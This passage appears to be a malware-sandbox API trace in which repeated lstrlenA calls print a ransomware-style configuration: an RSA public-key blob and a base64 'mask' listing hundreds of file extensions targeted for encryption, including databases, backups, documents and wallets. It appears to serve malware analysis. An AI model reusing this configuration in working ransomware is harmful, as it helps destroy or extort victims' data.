sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3